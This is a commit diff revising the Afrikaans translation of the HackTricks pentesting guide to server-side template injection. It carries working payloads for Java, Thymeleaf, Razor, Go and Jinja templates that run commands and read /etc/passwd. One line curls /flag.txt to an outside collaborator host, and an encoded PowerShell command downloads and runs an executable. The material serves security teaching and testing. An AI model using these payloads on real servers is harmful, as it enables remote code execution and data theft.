Translated ['pentesting-web/ssti-server-side-template-injection/README.m

This commit is contained in:
Translator 2024-03-26 07:59:10 +00:00
parent 95ca7b56d8
commit 6efb133b0b

View file

@ -6,11 +6,11 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
@ -28,13 +28,13 @@ Jinja is 'n gewilde templaat-enjin wat in webtoepassings gebruik word. Laat ons
```python
output = template.render(name=request.args.get('name'))
```
In hierdie kwesbare kode word die `name` parameter van die gebruiker se versoek direk in die templaat ingevoeg met behulp van die `render` funksie. Dit kan potensieel 'n aanvaller in staat stel om kwaadwillige kode in die `name` parameter in te spuit, wat kan lei tot 'n server-side templaat inspuiting.
In hierdie kwesbare kode word die `name` parameter van die gebruiker se versoek direk in die templaat ingevoeg met behulp van die `render` funksie. Dit kan moontlik 'n aanvaller toelaat om skadelike kode in die `name` parameter in te spuit, wat kan lei tot 'n server-side templaat inspuiting.
Byvoorbeeld, 'n aanvaller kan 'n versoek met 'n lading soos hierdie saamstel:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Die lading `{{slegte-stof-hier}}` word in die `naam`-parameter ingespuit. Hierdie lading kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongemagtigde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry.
Die lading `{{slegte-stof-hier}}` word ingespuit in die `naam` parameter. Hierdie lading kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongemagtigde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry.
Om serverkant-sjablooninspuitingskwetsbaarhede te voorkom, moet ontwikkelaars verseker dat gebruikersinvoer behoorlik gesaniteer en gevalideer word voordat dit in sjablone ingevoeg word. Die implementering van invoervalidering en die gebruik van konteks-bewuste ontsnappingstegnieke kan help om die risiko van hierdie kwetsbaarheid te verminder.
@ -42,14 +42,14 @@ Om serverkant-sjablooninspuitingskwetsbaarhede te voorkom, moet ontwikkelaars ve
Om Serverkant-sjablooninspuiting (SSTI) op te spoor, is dit aanvanklik **fuzzing van die sjabloon** 'n reguit benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (**`${{<%[%'"}}%\`**) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale lading. Kwetsbaarheidsaanwysers sluit in:
* Gegooide foute wat die kwetsbaarheid en moontlik die sjabloon-enjin blootstel.
* Afwesigheid van die lading in die weerspieëling, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders as gewone data verwerk.
* **Plaintext-konteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
* **Kodekonteks**: Bevestig kwetsbaarheid deur insetparameters te verander. Byvoorbeeld, verander `groet` in `http://kwesbare-webwerf.com/?groet=data.gebruikersnaam` om te sien of die bediener se uitset dinamies of vas is, soos in `groet=data.gebruikersnaam}}hallo` wat die gebruikersnaam teruggee.
- Gegooide foute, wat die kwetsbaarheid en moontlik die sjabloon-enjin blootstel.
- Afwesigheid van die lading in die weerspieëling, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders as gewone data verwerk.
- **Plaintext-konteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
- **Kodekonteks**: Bevestig kwetsbaarheid deur insetparameters te verander. Byvoorbeeld, verander `greeting` in `http://vulnerable-website.com/?greeting=data.username` om te sien of die bediener se uitset dinamies of vas is, soos in `greeting=data.username}}hello` wat die gebruikersnaam teruggee.
#### Identifikasiefase
Die identifisering van die sjabloon-enjin behels die analisering van foutboodskappe of die handmatige toets van verskeie taalspesifieke lading. Gewone lading wat foute veroorsaak, sluit in `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>`. Die waarneming van die bediener se reaksie op wiskundige bewerkings help om die spesifieke sjabloon-enjin te bepaal.
Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of die handmatige toets van verskeie taalspesifieke lading. Gewone lading wat foute veroorsaak, sluit in `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>`. Die waarneming van die bediener se reaksie op wiskundige bewerkings help om die spesifieke sjabloon-enjin te bepaal.
## Gereedskap
@ -63,8 +63,8 @@ tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123...
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
```
### [Tplmap](https://github.com/epinna/tplmap)
```python
@ -100,7 +100,7 @@ ${class.getResource("../../../../../index.htm").getContent()}
```java
${T(java.lang.System).getenv()}
```
**Java - Haal /etc/passwd op**
**Java - Kry /etc/passwd**
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
@ -108,12 +108,12 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
```
### FreeMarker (Java)
Jy kan jou ladingstoetse probeer by [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
Jy kan jou payloads probeer by [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `#{7*7} = 49 -- (oud)`
* `${7*'7'} Niks`
* `#{7*7} = 49 -- (legacy)`
* `${7*'7'} Nothing`
* `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
@ -180,7 +180,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. Nietemin word _uitdrukking inlyn_ ondersteun vir ander templaatlokasies, deur sintaksis soos `[[...]]` of `[(...)]` te gebruik. Dus kan 'n eenvoudige SSTI toetslading lyk soos `[[${7*7}]]`.
Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. Nietemin word _uitdrukking inlyn_ ondersteun vir ander templaatlokasies, deur sintaksis soos `[[...]]` of `[(...)]` te gebruik. Dus, 'n eenvoudige SSTI toetslading kan lyk soos `[[${7*7}]]`.
Die waarskynlikheid dat hierdie lading werk, is egter gewoonlik laag. Thymeleaf se verstekkonfigurasie ondersteun nie dinamiese templaatgenerering nie; templaat moet voorgedefinieer word. Ontwikkelaars sal hul eie `TemplateResolver` moet implementeer om templaat vanaf strings aan die vlieg te skep, wat ongewoon is.
@ -195,7 +195,7 @@ Oorweeg die volgende kodefragment, wat vatbaar kan wees vir uitbuiting:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Dit dui daarop dat as die templaat-enjin hierdie insette nie behoorlik verwerk nie, dit kan lei tot afgeleë kode-uitvoering wat toegang gee tot URL's soos:
Dit dui daarop dat as die templaat-enjin hierdie insette nie behoorlik verwerk nie, dit kan lei tot afgeleë kode-uitvoering wat toegang tot URL's soos:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -253,7 +253,7 @@ print(base_payload + end_payload)
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Spring Aansig Manipulasie (Java)
### Lente-aansigverandering (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
@ -297,9 +297,7 @@ Nuwe weergawe van Pebble:
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava is 'n oopbronprojek ontwikkel deur Hubspot, beskikbaar by [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
**Jinjava - Opdraguitvoering**
**Jinjava - Opdrag uitvoering**
Vasgestel deur [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
@ -386,7 +384,7 @@ Uitdrukkings Taal (EL) is 'n fundamentele kenmerk wat interaksie fasiliteer tuss
* **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang tot en manipulasie van data binne JSP-bladsye te verkry, wat dit makliker maak om bladsy elemente met die toepassingsdata te koppel.
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naadlose interaksie tussen die weblaag en bestuurde bone moontlik te maak, wat 'n meer samehangende toepassingsstruktuur verseker.
Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL tolke**:
Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL interpreteerders**:
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
@ -499,14 +497,14 @@ $templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
Bladsy sjabloon:
Bladsy templaat:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Uitleg sjabloon:
# Uitleg sjabloon:
```html
<html>
<head>
@ -773,7 +771,7 @@ Kyk na die volgende bladsy om truuks te leer oor **arbitrêre beveluitvoering wa
[Amptelike webwerf](http://jinja.pocoo.org)
> Jinja2 is 'n volledige kenmerkende templaat-enjin vir Python. Dit het volledige Unicode-ondersteuning, 'n opsionele geïntegreerde sandbox-uitvoeringsomgewing, word wyd gebruik en is onder die BSD-lisensie.
> Jinja2 is 'n volledige kenmerkende templaat-enjin vir Python. Dit het volledige Unicode-ondersteuning, 'n opsionele geïntegreerde sandboks-uitvoeringsomgewing, word wyd gebruik en is onder die BSD-lisensie.
* `{{7*7}} = Fout`
* `${7*7} = ${7*7}`
@ -856,7 +854,7 @@ ${x}
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en sodoende 'n webshell te skep. 'n Kwesbare webtoepassingsvoorbeeld kan gevind word in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en sodoende 'n webshell te skep. 'n Voorbeeld van 'n kwesbare webtoepassing kan gevind word by [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Meer inligting**
@ -888,7 +886,7 @@ Selfs al is dit perl, gebruik dit tage soos ERB in Ruby.
```
### SSTI in GO
In Go se templaat-enjin, kan bevestiging van sy gebruik gedoen word met spesifieke payloads:
In Go se templaat-enjin, kan bevestiging van die gebruik daarvan gedoen word met spesifieke payloads:
* `{{ . }}`: Onthul die datastruktuur inset. Byvoorbeeld, as 'n objek met 'n `Password` eienskap oorgedra word, kan `{{ .Password }}` dit blootstel.
* `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon.
@ -904,7 +902,7 @@ vbnet Kopieer kode
RCE-uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module maak dit moontlik om enige openbare funksie direk te roep (deur die "call" waarde te gebruik), wat nie toegelaat word in `html/template` nie. Dokumentasie vir hierdie modules is beskikbaar [hier vir html/template](https://golang.org/pkg/html/template/) en [hier vir text/template](https://golang.org/pkg/text/template/).
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafte objek 'n `System` metode het wat bevele uitvoer, kan dit uitgebuit word soos `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegee voorbeeld:
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafte objek 'n `System` metode het wat opdragte uitvoer, kan dit uitgebuit word soos `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om hiervan gebruik te maak, soos in die gegee voorbeeld:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -950,13 +948,13 @@ As jy dink dit kan nuttig wees, lees:
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun: